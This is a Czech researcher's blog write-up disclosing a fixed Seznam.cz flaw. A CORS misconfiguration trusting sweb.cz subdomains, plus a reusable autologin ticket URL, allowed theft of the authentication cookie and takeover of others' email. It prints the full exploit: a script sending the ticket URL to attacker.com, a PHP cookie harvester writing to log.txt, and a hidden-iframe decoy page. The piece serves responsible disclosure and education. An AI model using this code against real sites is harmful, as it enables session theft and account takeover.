Krádež cookies na portálu Seznam.cz a získání přístupu do cizího e-mailu

30. listopadu 2020

V tomto blog postu bude popsána mnou nalezená zranitelnost, kterou měl známý portál Seznam.cz. Bylo možné ukrást důležitou hodnotu jedné cookie 🍪, čímž šlo získat přístup do cizího e-mailu.

V krátkosti prozradím, že ke krádeži cookies stačilo pouze to, aby byla oběť přihlášena k e-mailu na Seznam.cz a otevřela libovolnou stránku, ve které byl útočníkův kód. Žádná další interakce od uživatele nebyla nutná. 😈

Části:

Určitě si říkáte, že na pochybné odkazy neklikáte, a tím pádem se vás to netýká. Rád bych vás vyvedl z omylu. Je potřeba si uvědomit, že útočník nebude posílat adresu https://klikni-a-vyhraj.cz. Poslat ji samozřejmě může, ale úspěšnost útoku nebude úplně vysoká, hodně by v tomto případě záleželo na cílové skupině. Úspěšnější spíše bude, pokud využije pokročilejších metod sociálního inženýrství nebo využije nějaké zranitelnosti na nejvíce navštěvovaných stránkách.

Odpovězte si schválně sami, kolikrát jste v tomto týdnu klikli na libovolný odkaz na sociální síti. A opravdu jste si jisti, že to Youtube video na Facebooku vedlo přímo na youtube.com? No, nemuselo tomu tak vždy být, a pokud jste byli v tu danou chvíli přihlášeni také ke svému e-mailu na Seznamu, tak k vaší schránce mohl získat přístup i někdo jiný 😱

Celý tento text je i zpracován formou videa:

Úvod

Seznam.cz je pro většinu Čechů bránou do Internetu. Mnoho uživatelů stále má nebo alespoň mělo na Seznamu svůj e-mail. Z důvodu počtu e-mailových schránek a důležitosti e-mailové služby jako takové jsem se rozhodl, že se pokusím najít takovou zranitelnost, která by vedla k získání přístupu do cizí schránky, a to bez znalosti hesla.

Seznam Email je největší a zároveň nejpopulárnější freemailová služba na českém internetu. Celkově spravuje více než 33 milionů e-mailových schránek, k datu 10. 11. 2020 to bylo přesně 33 873 419 schránek, přičemž aktivních z nich bylo kolem 8 milionů.

Proč je e-mail tak důležitý? U většiny webových aplikací totiž zadáváte svůj e-mail, a v případě, že zapomenete heslo, tak je možné si nové heslo obnovit na svůj e-mail. V tom tkví velké nebezpečí. V případě, že útočník získá přístup do vaší schránky, tak kromě možnosti si přečíst vaši veškerou přijatou poštu nebo odeslání zpráv pod vaší identitou, má možnost si nechat obnovit zapomenuté heslo k vaší používané službě, například Paypal, Dropbox, Github, Facebook nebo jiné. Zasláním nového hesla na email získá útočník do služby přístup (pokud není u dané služby vyžadováno ještě 2FA/MFA).

E-mailová schránka je tedy takový středobod webových aplikací. Stačí mít přístup do vašeho e-mailu, a rázem může mít osoba přístup i do několika vašich dalších služeb. Z tohoto důvodu bych se nebál tvrdit, že e-mailová schránka je nejdůležitější služba, kterou má běžný uživatel k dispozici. Kvůli velkému bezpečnostnímu riziku by měl být e-mail co nejlépe zabezpečen.

Nalezená zjištění

Při analýze komunikace webových aplikacích od Seznamu jsem si všiml, že u některých API endpointů (/api/v1/user/badge, /api/v1/users/profile, /api/v1/user/properties/lang...) jsou povoleny CORS požadavky, a to vždy pro domény spadající pod Seznam.

Kromě povolených domén byly akceptovány požadavky i z libovolné subdomény.
Dle response hlavičky Access-Control-Allow-Credentials: true bylo možné zasílat všechny tyto požadavky i včetně cookies => CORS Misconfiguration.

U všech požadavků byla v response buď nezajímavá data, nebo jen základní informace o uživateli. Při každém požadavku také vždy došlo k vytvoření další ds cookie.

ds cookie je persistent cookie sloužící k autentizaci přihlášeného uživatele na stránkách Seznamu - na všech stránkách se uživatel přihlašuje skrze svůj Seznam Email. V následujícím videu vysvětluje Martin Haller, jak tato cookie funguje: https://www.youtube.com/watch?v=GTQPrWg6_x0

Dle pravidel prohlížeče není hlavička Set-Cookie v response přístupná pomocí javascriptu, takže krádež cookies tímto způsobem nebyla možná (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie, https://fetch.spec.whatwg.org/#forbidden-response-header-name).

Jeden zajímavý požadavek probíhal ve chvíli, kdy byl uživatel již přihlášen k e-mailu, a přešel na stránku od Seznamu, kde ještě přihlášen nebyl. Například byl uživatel přihlášen k Email.cz a navštívil stránku Sport.cz. Pokud se tato situace vyskytla, tak došlo k automatickému přihlášení. Při této akci se posílal tento POST požadavek:

https://login.szn.cz/api/v1/autologin?service=sport&return_url=http%3A%2F%2Flogin.seznam.cz

Odpovědí na tento požadavek byl status code 303 SEE OTHER s následným přesměrováním na adresu login.seznam.cz/ticket/{vygenerovaná hodnota}:

https://login.seznam.cz/ticket/2%7CureKCTec770kN1BSVwBHUFVRRQ5BWhNSNxYNKkQQZn0SaCzBs3gpQTpyAHYqlo6qN6LYkX51O5a1DbbYjamjtLI

Odpověď na tento požadavek již byla se statusem 200 OK. V response opět došlo k vytvoření nových hodnot cookies a k vrácení základních údajů o uživateli. Celá komunikace vypadala následovně:


(Pozn.: V případě, že je prohlížeči vrácen status 3xx, tak prohlížeč vždy následuje adresu pro přesměrování. Získání "Location" z odpovědi požadavku se statusovým kódem 3xx není javascriptem možné, respektive nevím o tom, že by to šlo.🤔 )

Zajímavostí bylo, že tato unikátní URL s „ticketem“ měla platnost přesně 30 sekund a během této doby bylo možné tuto adresu opakovaně odeslat. Po této době došlo k zneplatnění odkazu a bylo nutné znovu poslat /api/v1/autologin požadavek.

Další zajímavosti bylo, že tato URL nemusela obsahovat žádné cookies v requestu, a i přesto došlo k vykonání validního požadavku.


Jak jsem již psal, tak v odpovědi URL s ticketem byly základní informace o přihlášeném uživateli. Jednalo se konkrétně o jméno, příjmení a uživatelské jméno. Při běžném použití CORS Misconfiguration bylo tedy možné tato data krást. V případě úniku těchto dat by se nejednalo o vážnější problém a já cílil především na větší bezpečnostní riziko, zkoumal jsem komunikaci proto dále...

Po nějaké době jsem zjistil, že já vlastně znám vše důležité 😊 (vysvětleno v části Exploit).

Nyní bylo nutné reálně využít té CORS Misconfiguration, tedy povolených dotazů z jakékoliv Seznam domény nebo subdomény. Samo o sobě není toto zjištění zneužitelné a bylo nutné nalézt zranitelnost XSS. Začal jsem tedy hledat...

Mezitím jsem si vzpomněl na jednu zapomenutější Seznam službu, která by mi teď výrazně pomohla. Někteří si možná vzpomenou na dobu blogů. Také Seznam provozoval tuto službu, jmenovala Sblog. Bohužel tato služba už dnes neexistuje, k datu 31. 12. 2011 byl provoz Sblog.cz ukončen.

Vzpomněl jsem si ještě na jednu obdobnou službu… a to na Sweb. A tato služba stále funguje! 😊

Sweb.cz je free webhosting od Seznamu, kdy je uživatelům dán 100 MB prostor pro vlastní webové stránky. Po založení této služby je veškerý obsah dostupný na http://uzivatelskejmeno.sweb.cz.
Zkusil jsem tedy, jestli je povolená doména Swebu.

Doména byla povolená. Co subdoména?

Vše bylo povolené! 😊

Hledat XSS už jsem tedy nemusel, měl jsem vše, co jsem potřeboval. Měl jsem k dispozici rovnou webhosting, kam jsem mohl nahrát HTML stránku se skriptem.

Jako bonus chyběla na Swebu bezpečnostní hlavička X-Frame-Options. (Chyběly všechny bezpečnostní hlavičky, ale X-Frame-Options byla nejdůležitější, a to kvůli načtení stránky v iframu)

Shrnutí důležitých informací před psaním exploitu:

  • CORS Misconfiguration – povolená doména i subdoména pro sweb.cz
  • Odkaz s tiketem bylo možné opakovaně poslat a platnost této URL byla 30 sekund
  • URL nevyžaduje cookies pro validní požadavek
  • Chybějící bezpečnostní hlavička X-Frame-Options na Swebu

Exploit

Jak jsem uvedl v předchozí části, tak při „běžném“ použití CORS Misconfiguration se získávají data z response body (=krádež uživatelských dat z response přihlášeného uživatele) a obvykle vypadá javascriptový kód takto:

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        console.log(this.responseText);
    }
};
xhttp.open("GET", "https://example.com", true);
xhttp.withCredentials = true;
xhttp.send();

Při čtení mnoha CORS Misconfiguration reportů jsem neviděl jiné použití než s responseText, například:

Tímto způsobem bych získal pouze základní data o uživateli, což by nemělo žádný velký dopad. Po delším zkoumání a přemýšlení, zda se nevydat jinou cestou, jsem na to nakonec přišel, a běžný CORS exploit jsem trochu upravil.

Budu-li pracovat s informací, že adresa s tiketem je znovu použitelná, tak stačila tato změna:

console.log(this.responseText);
console.log(this.responseURL);

Změnou z responseText na responseURL jsem schopen získat poslední URL po jakémkoli přesměrování (docs). V mém případě jsem tedy získal URL s tiketem. Tím, že byla adresa znovu použitelná po dobu 30 sec a bylo ji možné odesílat bez cookies, tak jsem měl vše potřebné k získání nově vytvořených cookies hodnot z odpovědi.

Nyní stačilo tuto adresu do 30 sekund předat na svůj server, kde bylo nutné znovu odeslat request. Tím, že byl požadavek odeslán ze serveru, ke kterému jsem měl přístup, tak jsem byl schopen získat response včetně hlaviček, především tedy hlavičky Set-Cookie. 😊

Exploit flow:

  1. Na testdomena.sweb.cz vytvořím HTML stránku se skriptem, který se bude dotazovat API včetně cookies (/api/v1/autologin, withCredentials=true)
  2. Pokud je uživatel přihlášen (status 200), tak získám URL s tiketem (responseURL)
  3. URL s tiketem ihned odešlu na svůj server (30 sekundová platnost odkazu)
  4. Na serveru získám URL a odešlu z něj znovu GET request přes curl (není potřeba cookies)
  5. Z response získám hlavičku Set-Cookie - především ds cookie 🍪
  6. + Absencí bezpečnostní hlavičky bylo možné načíst celou sweb stránku v iframu

http://testdomena.sweb.cz

<script>
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200){
        xhttp.open("GET", "https://attacker.com/getcookies.php?c=" + xhttp.responseURL, true);
        xhttp.send();
    }
};
xhttp.open("POST", "https://login.szn.cz/api/v1/autologin?service=homepage&return_url=http%3A%2F%2Flogin.seznam.cz", true);
xhttp.setRequestHeader("Accept","application/json");
xhttp.withCredentials = true;
xhttp.send();
</script>

https://attacker.com/getcookies.php - výsledné cookies budou uloženy v souboru log.txt

<?php
$url = $_GET["c"];   //získání url z parametru c
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'log.txt');
$output = curl_exec($ch);
curl_close($ch);
?>

http://example.com - skrytý iframe na libovolné doméně načítající testdomena.sweb.cz

<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /2020/06/10/internet-a-pc was not found on this server.</p>
<iframe src="http://testdomena.sweb.cz" style="width:0;height:0;border:0; border:none;">
</body></html>

Výsledek:

Uživateli byla zobrazena stránka „Not Found“ se skrytým iframem, který načítal stránku na Swebu. Stačilo tedy, aby byla oběť přihlášená k e-mailu a otevřela odkaz, kde se načítal útočníkův kód (iframe na Sweb). Ihned po navštívení takovéto stránky došlo ke krádeži cookies. 🍪

Příklady možných útoků

Webhosting Sweb.cz nemá SSL certifikát, a tak načtení iframu bylo možné jen z domény, která také neměla certifikát (HTTP -> iframe HTTP). V případě reálného útoku by to mohl být problém, protože odkaz na „http“ stránku by se mohl tvářit nedůvěryhodně. Jedním z řešení mohlo být, že by útočník přesměrovával oběť z domény HTTPS na HTTP. Vhodnější řešení spíše mohlo být v nalezení zranitelnosti XSS na Seznam doméně/subdoméně s platným certifikátem a použití této domény v iframu (místo Sweb stránky). Zranitelnost XSS byla později také nalezena, takže možný útok mohl probíhat i z domén s platným certifikátem, tedy z libovolné http(s) domény.

Odkaz ve zprávě e-mailu

Útočník mohl napsat zprávu, která by obsahovala odkaz na stránku se škodlivým kódem. V tomto případě by měl útočník jistotu, že je uživatel přihlášen. E-mail musel být vhodně napsán, aby na odkaz oběť klikla.

Využití zranitelnosti na jiném webu

Útočník by využil zranitelnosti na jiné, často navštěvované webové stránce (známý e-shop, zpravodajský web a jiné). Například zneužitím zranitelnosti Stored XSS by dosáhl toho, že by oběť nemusela provést žádnou interakci. Pouhým prohlížení takového webu by mohlo dojít na pozadí k útoku, tedy ke krádeži cookies na Seznamu.

Odkaz umístěn na sociálních sítích

Sociální sítě nejsou v dnešní době hrozbou jen z důvodu prokrastinace, ale také velkou bezpečnostní hrozbou. Na Twitteru se často využívají zkracovače typu bit.ly nebo zkracovač samotného Twitteru (https://t.co). Problémem je, že běžný uživatel si často neověřuje, kam daný odkaz ve skutečnosti vede. Stačilo jedno kliknutí na neznámý odkaz ze zkracovače a mohlo dojít ke krádeži cookies. Dále existují i jiné a zajímavější způsoby využití sociálního inženýrství na sociálních sítích, například na Facebooku...

Video možného útoku:

Na videu vidíte příklad útoku, kdy při pouhém kliknutí na zdánlivě vypadající legitimní odkaz dojde na pozadí k:

  • Ke krádeži cookies
  • Nastavení pravidla, že veškerá příchozí pošta bude zaslána v kopii na e-mail útočníka
  • Přidání dalšího přístupového e-mailu k e-mailové schránce

Celý útok byl proveden bez jakéhokoliv upozornění uživatele. Oběť tedy nemůže tušit, že k e-mailu má momentálně přístup i někdo jiný.

Doporučení pro uživatele

Z bezpečnostních důvodů bych doporučil smazat veškerá aktivní přihlášení (https://profil.seznam.cz/sessions) a také odhlášení se z aktivní relace (pokud jste se právě přihlásili, tak nemusíte). V případě, že došlo k provedení útoku na vaši osobu, tak je mu tímto zneplatněna ukradená session, a bude odhlášen. Dále bych doporučil zkontrolovat si nastavení e-mailu a vymazat veškeré podezřelé hodnoty.

Především doporučuji zkontrolovat tyto sekce:

  • Sdílení schránky (https://email.seznam.cz/settings#/multiuser)
    V případě, že si útočník přidal svůj e-mail do „Sdílení schránky“, tak má do vaší e-mailové schránky stále přístup, a to i po smazání všech relací.
  • Pravidla (https://email.seznam.cz/settings#/rules)
    U pravidel by neměl přístup do vaší schránky, ale v tom nejhorším případě by mu byla v kopii přeposílána veškerá vaše příchozí pošta. Případně mohl nastavit pravidlo, že zapomenuté heslo z jiné služby bude rovnou přeposláno na jiný e-mail.

Závěr

Zranitelnost bylo možné zneužít na všech zařízeních, a to bez rozdílu typu zařízení (pc, tablet, mobil), typu operačního systému nebo typu prohlížeče. Výjimku tvoří pouze prohlížeč Internet Explorer (nefunkční responseURL docs), prohlížeče s doplňky zakazující javascript (NoScript) nebo nativní mobilní aplikace od Seznamu.

Někteří si mohou myslet, že používáním Gmailu se jich bezpečnostní problémy netýkají. Rád bych připomněl, že každá komplexnější webová aplikace/služba má menší nebo větší bezpečnostní zranitelnost.

Bezpečností chyby se nevyhýbají ani společnostem jako je právě Google. Jenom za rok 2019 vyplatil Google na odměnách etickým hackerům a bezpečnostním výzkumníkům 6,5 milionů dolarů. Z toho 2,1 milionů dolarů bylo vyplaceno za zranitelnosti ve webových aplikacích. V přepočtu to vychází, že Googlu byla každý den(!) nahlášená webová bezpečnostní chyba s odměnou necelých 5 800 $. Dle jejich ceníku to znamená, že jim mohla být každý druhý nebo třetí den nahlášená zranitelnost SQL injection. (https://security.googleblog.com/2020/01/vulnerability-reward-program-2019-year.html, https://www.google.com/about/appsecurity/reward-program/#rewards, https://opnsec.com/2020/05/dom-xss-in-gmail-with-a-little-help-from-chrome)

Q&A

Je možné zranitelnosti stále zneužít?
Ne, v tuto dobu je již chyba opravena.

Mám na svém počítači nainstalovaný antivir. Byl jsem chráněn proti zneužití této zranitelnosti?
Ne. Antivirový program neřeší ochranu před útoky tohoto typu.

Na e-mailu bývám dlouhodobě přihlášen, ale mám dvoufázové ověření. Týkala se zranitelnost i mého účtu?
Ano. Dvoufázové ověření nemělo vliv na zneužití této zranitelnosti.

Na e-mailu bývám dlouhodobě přihlášen, ale mám nastavené silné heslo. Týkala se zranitelnost i mého účtu?
Ano. Složitost nebo délka hesla neměla vliv na zneužití této zranitelnosti.

V nastavení e-mailu jsem nenašel nic neobvyklého. Znamená to, že můj e-mail nebyl zneužit?
Nedá se to potvrdit, ani vyloučit. Útok již mohl proběhnout a útočník mohl po sobě „uklidit“. Pokud smažete všechny aktivní relace (viz doporučení ke kontrole), tak budete mít jistotu, že útočník nebude mít od teď k účtu přístup (pokud by doteď měl).

Na jaké služby od Seznamu bylo možné použít ukradenou cookie?
Útočník se mohl přihlásit na služby jako: Seznam Email, Email Profi, Lide.cz, Firmy.cz, Sreality.cz, Sbazar.cz.
Cookie nebylo možné použít pro služby vyžadující přihlášení ke „Klientské zóně“ (Sklik, Seznam Peněženka).

Timeline

09. 6. 2020 15:22 Nahlášená zranitelnost
10. 6. 2020 11:31 Potvrzeno přijetí
10. 6. 2020 17:32 Nasazen hotfix - doména i subdoména sweb.cz byla zablokována pro CORS požadavky. Stále bylo riziko v případě nalezení XSS na stránkách Seznamu.
17. 6. 2020 Nahlášená zranitelnost Reflected XSS na Seznam subdoméně (video, img)
18. 6. 2020 Opravena zranitelnost Reflected XSS
14. 9. 2020 K datu již byla zranitelnost z článku opravena. Schváleno zveřejnění zranitelnosti.